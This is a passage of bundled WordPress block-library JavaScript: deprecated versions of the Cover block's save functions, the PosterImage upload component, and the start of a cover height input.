              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        !useFeaturedImage && isImageBackground && isImgElement && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: clsx_default(
              "wp-block-cover__image-background",
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v9 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      const gradientValue = gradient || customGradient;
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__background",
              overlayColorClass,
              dimRatioToClass(dimRatio),
              {
                "has-background-dim": dimRatio !== void 0,
                // For backwards compatibility. Former versions of the Cover Block applied
                // `.wp-block-cover__gradient-background` in the presence of
                // media, a gradient and a dim.
                "wp-block-cover__gradient-background": url && gradientValue && dimRatio !== 0,
                "has-background-gradient": gradientValue,
                [gradientClass]: gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        isImageBackground && isImgElement && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: clsx_default(
              "wp-block-cover__image-background",
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v8 = {
    attributes: v8ToV11BlockAttributes,
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isDark: isDark2,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
        minHeight: minHeight || void 0
      };
      const bgStyle = {
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient ? customGradient : void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        {
          "is-light": !isDark2,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              overlayColorClass,
              dimRatioToClass(dimRatio),
              "wp-block-cover__gradient-background",
              gradientClass,
              {
                "has-background-dim": dimRatio !== void 0,
                "has-background-gradient": gradient || customGradient,
                [gradientClass]: !url && gradientClass
              }
            ),
            style: bgStyle
          }
        ),
        isImageBackground && isImgElement && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: clsx_default(
              "wp-block-cover__image-background",
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "div",
          {
            ...import_block_editor61.useInnerBlocksProps.save({
              className: "wp-block-cover__inner-container"
            })
          }
        )
      ] });
    },
    migrate: migrateTag
  };
  var v7 = {
    attributes: {
      ...blockAttributes2,
      isRepeated: {
        type: "boolean",
        default: false
      },
      minHeight: {
        type: "number"
      },
      minHeightUnit: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      },
      contentPosition: {
        type: "string"
      },
      alt: {
        type: "string",
        source: "attribute",
        selector: "img",
        attribute: "alt",
        default: ""
      }
    },
    supports: v7toV11BlockSupports,
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isRepeated,
        overlayColor,
        url,
        alt,
        id,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const isImgElement = !(hasParallax || isRepeated);
      const style2 = {
        ...isImageBackground && !isImgElement ? backgroundImageStyles(url) : {},
        backgroundColor: !overlayColorClass ? customOverlayColor : void 0,
        background: customGradient && !url ? customGradient : void 0,
        minHeight: minHeight || void 0
      };
      const objectPosition = (
        // prettier-ignore
        focalPoint && isImgElement ? `${Math.round(focalPoint.x * 100)}% ${Math.round(focalPoint.y * 100)}%` : void 0
      );
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-background-gradient": gradient || customGradient,
          [gradientClass]: !url && gradientClass,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__gradient-background",
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        isImageBackground && isImgElement && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "img",
          {
            className: clsx_default(
              "wp-block-cover__image-background",
              id ? `wp-image-${id}` : null
            ),
            alt,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: clsx_default(
              "wp-block-cover__video-background",
              "intrinsic-ignore"
            ),
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: { objectPosition },
            "data-object-fit": "cover",
            "data-object-position": objectPosition
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v6 = {
    attributes: {
      ...blockAttributes2,
      isRepeated: {
        type: "boolean",
        default: false
      },
      minHeight: {
        type: "number"
      },
      minHeightUnit: {
        type: "string"
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      },
      contentPosition: {
        type: "string"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        contentPosition,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        isRepeated,
        overlayColor,
        url,
        minHeight: minHeightProp,
        minHeightUnit
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const minHeight = minHeightUnit ? `${minHeightProp}${minHeightUnit}` : minHeightProp;
      const isImageBackground = IMAGE_BACKGROUND_TYPE === backgroundType;
      const isVideoBackground = VIDEO_BACKGROUND_TYPE === backgroundType;
      const style2 = isImageBackground ? backgroundImageStyles(url) : {};
      const videoStyle = {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (customGradient && !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      let positionValue;
      if (focalPoint) {
        positionValue = `${Math.round(
          focalPoint.x * 100
        )}% ${Math.round(focalPoint.y * 100)}%`;
        if (isImageBackground && !hasParallax) {
          style2.backgroundPosition = positionValue;
        }
        if (isVideoBackground) {
          videoStyle.objectPosition = positionValue;
        }
      }
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          "is-repeated": isRepeated,
          "has-background-gradient": gradient || customGradient,
          [gradientClass]: !url && gradientClass,
          "has-custom-content-position": !isContentPositionCenter(contentPosition)
        },
        getPositionClassName(contentPosition)
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { ...import_block_editor61.useBlockProps.save({ className: classes, style: style2 }), children: [
        url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__gradient-background",
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        isVideoBackground && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: "wp-block-cover__video-background",
            autoPlay: true,
            muted: true,
            loop: true,
            playsInline: true,
            src: url,
            style: videoStyle
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v5 = {
    attributes: {
      ...blockAttributes2,
      minHeight: {
        type: "number"
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        url,
        minHeight
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint && !hasParallax) {
        style2.backgroundPosition = `${Math.round(
          focalPoint.x * 100
        )}% ${Math.round(focalPoint.y * 100)}%`;
      }
      if (customGradient && !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          "has-background-gradient": customGradient,
          [gradientClass]: !url && gradientClass
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { className: classes, style: style2, children: [
        url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__gradient-background",
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: "wp-block-cover__video-background",
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v4 = {
    attributes: {
      ...blockAttributes2,
      minHeight: {
        type: "number"
      },
      gradient: {
        type: "string"
      },
      customGradient: {
        type: "string"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        gradient,
        customGradient,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        url,
        minHeight
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const gradientClass = (0, import_block_editor61.__experimentalGetGradientClass)(gradient);
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint && !hasParallax) {
        style2.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
      }
      if (customGradient && !url) {
        style2.background = customGradient;
      }
      style2.minHeight = minHeight || void 0;
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          "has-background-gradient": customGradient,
          [gradientClass]: !url && gradientClass
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { className: classes, style: style2, children: [
        url && (gradient || customGradient) && dimRatio !== 0 && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "span",
          {
            "aria-hidden": "true",
            className: clsx_default(
              "wp-block-cover__gradient-background",
              gradientClass
            ),
            style: customGradient ? { background: customGradient } : void 0
          }
        ),
        VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: "wp-block-cover__video-background",
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("div", { className: "wp-block-cover__inner-container", children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.InnerBlocks.Content, {}) })
      ] });
    },
    migrate: (0, import_compose14.compose)(migrateDimRatio, migrateTag)
  };
  var v3 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: "string",
        source: "html",
        selector: "p"
      },
      contentAlign: {
        type: "string",
        default: "center"
      }
    },
    supports: {
      align: true
    },
    save({ attributes: attributes2 }) {
      const {
        backgroundType,
        contentAlign,
        customOverlayColor,
        dimRatio,
        focalPoint,
        hasParallax,
        overlayColor,
        title,
        url
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const style2 = backgroundType === IMAGE_BACKGROUND_TYPE ? backgroundImageStyles(url) : {};
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      if (focalPoint && !hasParallax) {
        style2.backgroundPosition = `${focalPoint.x * 100}% ${focalPoint.y * 100}%`;
      }
      const classes = clsx_default(
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          [`has-${contentAlign}-content`]: contentAlign !== "center"
        }
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsxs)("div", { className: classes, style: style2, children: [
        VIDEO_BACKGROUND_TYPE === backgroundType && url && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          "video",
          {
            className: "wp-block-cover__video-background",
            autoPlay: true,
            muted: true,
            loop: true,
            src: url
          }
        ),
        !import_block_editor61.RichText.isEmpty(title) && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
          import_block_editor61.RichText.Content,
          {
            tagName: "p",
            className: "wp-block-cover-text",
            value: title
          }
        )
      ] });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? "div" : attributes2.tagName
      };
      const { title, contentAlign, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)("core/paragraph", {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: "large",
            placeholder: (0, import_i18n46.__)("Write title\u2026")
          })
        ]
      ];
    }
  };
  var v24 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: "string",
        source: "html",
        selector: "p"
      },
      contentAlign: {
        type: "string",
        default: "center"
      },
      align: {
        type: "string"
      }
    },
    supports: {
      className: false
    },
    save({ attributes: attributes2 }) {
      const {
        url,
        title,
        hasParallax,
        dimRatio,
        align,
        contentAlign,
        overlayColor,
        customOverlayColor
      } = attributes2;
      const overlayColorClass = (0, import_block_editor61.getColorClassName)(
        "background-color",
        overlayColor
      );
      const style2 = backgroundImageStyles(url);
      if (!overlayColorClass) {
        style2.backgroundColor = customOverlayColor;
      }
      const classes = clsx_default(
        "wp-block-cover-image",
        dimRatioToClassV1(dimRatio),
        overlayColorClass,
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax,
          [`has-${contentAlign}-content`]: contentAlign !== "center"
        },
        align ? `align${align}` : null
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("div", { className: classes, style: style2, children: !import_block_editor61.RichText.isEmpty(title) && /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(
        import_block_editor61.RichText.Content,
        {
          tagName: "p",
          className: "wp-block-cover-image-text",
          value: title
        }
      ) });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? "div" : attributes2.tagName
      };
      const { title, contentAlign, align, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)("core/paragraph", {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: "large",
            placeholder: (0, import_i18n46.__)("Write title\u2026")
          })
        ]
      ];
    }
  };
  var v111 = {
    attributes: {
      ...blockAttributes2,
      title: {
        type: "string",
        source: "html",
        selector: "h2"
      },
      align: {
        type: "string"
      },
      contentAlign: {
        type: "string",
        default: "center"
      }
    },
    supports: {
      className: false
    },
    save({ attributes: attributes2 }) {
      const { url, title, hasParallax, dimRatio, align } = attributes2;
      const style2 = backgroundImageStyles(url);
      const classes = clsx_default(
        "wp-block-cover-image",
        dimRatioToClassV1(dimRatio),
        {
          "has-background-dim": dimRatio !== 0,
          "has-parallax": hasParallax
        },
        align ? `align${align}` : null
      );
      return /* @__PURE__ */ (0, import_jsx_runtime218.jsx)("section", { className: classes, style: style2, children: /* @__PURE__ */ (0, import_jsx_runtime218.jsx)(import_block_editor61.RichText.Content, { tagName: "h2", value: title }) });
    },
    migrate(attributes2) {
      const newAttribs = {
        ...attributes2,
        dimRatio: !attributes2.url ? 100 : attributes2.dimRatio,
        tagName: !attributes2.tagName ? "div" : attributes2.tagName
      };
      const { title, contentAlign, align, ...restAttributes } = newAttribs;
      return [
        restAttributes,
        [
          (0, import_blocks20.createBlock)("core/paragraph", {
            content: attributes2.title,
            style: {
              typography: {
                textAlign: attributes2.contentAlign
              }
            },
            fontSize: "large",
            placeholder: (0, import_i18n46.__)("Write title\u2026")
          })
        ]
      ];
    }
  };
  var deprecated_default14 = [v142, v132, v122, v112, v102, v9, v8, v7, v6, v5, v4, v3, v24, v111];

  // packages/block-library/build-module/cover/edit/index.mjs
  var import_core_data16 = __toESM(require_core_data(), 1);
  var import_element24 = __toESM(require_element(), 1);
  var import_components34 = __toESM(require_components(), 1);
  var import_compose17 = __toESM(require_compose(), 1);
  var import_block_editor67 = __toESM(require_block_editor(), 1);
  var import_i18n52 = __toESM(require_i18n(), 1);
  var import_data30 = __toESM(require_data(), 1);
  var import_blob6 = __toESM(require_blob(), 1);
  var import_notices4 = __toESM(require_notices(), 1);

  // packages/block-library/build-module/cover/edit/inspector-controls.mjs
  var import_element20 = __toESM(require_element(), 1);
  var import_components31 = __toESM(require_components(), 1);
  var import_compose16 = __toESM(require_compose(), 1);
  var import_block_editor63 = __toESM(require_block_editor(), 1);
  var import_i18n48 = __toESM(require_i18n(), 1);
  var import_data29 = __toESM(require_data(), 1);
  var import_core_data15 = __toESM(require_core_data(), 1);

  // packages/block-library/build-module/cover/constants.mjs
  var DEFAULT_MEDIA_SIZE_SLUG = "full";

  // packages/block-library/build-module/utils/poster-image.mjs
  var import_block_editor62 = __toESM(require_block_editor(), 1);
  var import_notices3 = __toESM(require_notices(), 1);
  var import_components30 = __toESM(require_components(), 1);
  var import_blob5 = __toESM(require_blob(), 1);
  var import_i18n47 = __toESM(require_i18n(), 1);
  var import_element19 = __toESM(require_element(), 1);
  var import_compose15 = __toESM(require_compose(), 1);
  var import_data28 = __toESM(require_data(), 1);
  var import_jsx_runtime219 = __toESM(require_jsx_runtime(), 1);
  var POSTER_IMAGE_ALLOWED_MEDIA_TYPES = ["image"];
  function PosterImage({ poster, onChange }) {
    const posterButtonRef = (0, import_element19.useRef)();
    const [isLoading, setIsLoading] = (0, import_element19.useState)(false);
    const descriptionId = (0, import_compose15.useInstanceId)(
      PosterImage,
      "block-library-poster-image-description"
    );
    const { getSettings: getSettings2 } = (0, import_data28.useSelect)(import_block_editor62.store);
    const { createErrorNotice } = (0, import_data28.useDispatch)(import_notices3.store);
    const onDropFiles = (filesList) => {
      getSettings2().mediaUpload({
        allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
        filesList,
        onFileChange: ([image]) => {
          if ((0, import_blob5.isBlobURL)(image?.url)) {
            setIsLoading(true);
            return;
          }
          if (image) {
            onChange(image);
          }
          setIsLoading(false);
        },
        onError: (message) => {
          createErrorNotice(message, {
            id: "poster-image-upload-notice",
            type: "snackbar"
          });
          setIsLoading(false);
        },
        multiple: false
      });
    };
    const getPosterButtonContent = () => {
      if (!poster && isLoading) {
        return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.Spinner, {});
      }
      return !poster ? (0, import_i18n47.__)("Set poster image") : (0, import_i18n47.__)("Replace");
    };
    return /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_block_editor62.MediaUploadCheck, { children: /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
      import_components30.__experimentalToolsPanelItem,
      {
        label: (0, import_i18n47.__)("Poster image"),
        isShownByDefault: true,
        hasValue: () => !!poster,
        onDeselect: () => onChange(void 0),
        children: [
          /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.BaseControl.VisualLabel, { children: (0, import_i18n47.__)("Poster image") }),
          /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
            import_block_editor62.MediaUpload,
            {
              title: (0, import_i18n47.__)("Select poster image"),
              onSelect: onChange,
              allowedTypes: POSTER_IMAGE_ALLOWED_MEDIA_TYPES,
              render: ({ open }) => /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)("div", { className: "block-library-poster-image__container", children: [
                poster && /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
                  import_components30.Button,
                  {
                    __next40pxDefaultSize: true,
                    onClick: open,
                    "aria-haspopup": "dialog",
                    "aria-label": (0, import_i18n47.__)(
                      "Edit or replace the poster image."
                    ),
                    className: "block-library-poster-image__preview",
                    disabled: isLoading,
                    accessibleWhenDisabled: true,
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        "img",
                        {
                          src: poster,
                          alt: (0, import_i18n47.__)("Poster image preview"),
                          className: "block-library-poster-image__preview-image"
                        }
                      ),
                      isLoading && /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.Spinner, {})
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime219.jsxs)(
                  import_components30.__experimentalHStack,
                  {
                    className: clsx_default(
                      "block-library-poster-image__actions",
                      {
                        "block-library-poster-image__actions-select": !poster
                      }
                    ),
                    children: [
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        import_components30.Button,
                        {
                          __next40pxDefaultSize: true,
                          onClick: open,
                          ref: posterButtonRef,
                          className: "block-library-poster-image__action",
                          "aria-describedby": descriptionId,
                          "aria-haspopup": "dialog",
                          variant: !poster ? "secondary" : void 0,
                          disabled: isLoading,
                          accessibleWhenDisabled: true,
                          children: getPosterButtonContent()
                        }
                      ),
                      /* @__PURE__ */ (0, import_jsx_runtime219.jsx)("p", { id: descriptionId, hidden: true, children: poster ? (0, import_i18n47.sprintf)(
                        /* translators: %s: poster image URL. */
                        (0, import_i18n47.__)(
                          "The current poster image url is %s."
                        ),
                        poster
                      ) : (0, import_i18n47.__)(
                        "There is no poster image currently selected."
                      ) }),
                      !!poster && /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(
                        import_components30.Button,
                        {
                          __next40pxDefaultSize: true,
                          onClick: () => {
                            onChange(void 0);
                            posterButtonRef.current.focus();
                          },
                          className: "block-library-poster-image__action",
                          disabled: isLoading,
                          accessibleWhenDisabled: true,
                          children: (0, import_i18n47.__)("Remove")
                        }
                      )
                    ]
                  }
                ),
                /* @__PURE__ */ (0, import_jsx_runtime219.jsx)(import_components30.DropZone, { onFilesDrop: onDropFiles })
              ] })
            }
          )
        ]
      }
    ) });
  }
  var poster_image_default = PosterImage;

  // packages/block-library/build-module/cover/edit/inspector-controls.mjs
  var import_jsx_runtime220 = __toESM(require_jsx_runtime(), 1);
  var { cleanEmptyObject: cleanEmptyObject2, ResolutionTool, HTMLElementControl: HTMLElementControl3 } = unlock(
    import_block_editor63.privateApis
  );
  function CoverHeightInput({
    onChange,
    onUnitChange,
    unit = "px",
    value = ""
  }) {
    const instanceId = (0, import_compose16.useInstanceId)(import_components31.__experimentalUnitControl);
    const inputId = `block-cover-height-input-${instanceId}`;
    const isPx = unit === "px";
    const [availableUnits] = (0, import_block_editor63.useSettings)("spacing.units");
    const units = (0, import_components31.__experimentalUseCustomUnits)({
      availableUnits: availableUnits || ["px", "em", "rem", "vw", "vh"],
      defaultValues: { px: 430, "%": 20, em: 20, rem: 20, vw: 20, vh: 50 }
    });
    const handleOnChange = (unprocessedValue) => {
      const inputValue = unprocessedValue !== "" ? parseFloat(unprocessedValue) : void 0;
